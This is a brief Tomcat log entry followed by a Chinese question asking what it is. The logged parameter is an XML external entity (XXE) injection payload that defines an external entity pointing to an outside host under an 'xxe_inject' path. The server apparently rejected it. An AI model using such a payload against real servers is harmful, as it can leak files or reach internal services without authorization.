15:30:31.424 [http-nio-8865-exec-8] INFO  o.a.t.u.h.Parameters - [log,173] - Character decoding failed. Parameter [<?xml version] with value ["1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % xxe SYSTEM "http://tst2.qq.com/xxe_inject/d42184d8cf615dcb218d704cb527d0">

%xxe;  

]>] has been ignored. Note that the name and value quoted here may be corrupted due to the failed decoding. Use debug level logging to see the original, non-corrupted values.

 Note: further occurrences of Parameter errors will be logged at DEBUG level.

这是啥玩意呢？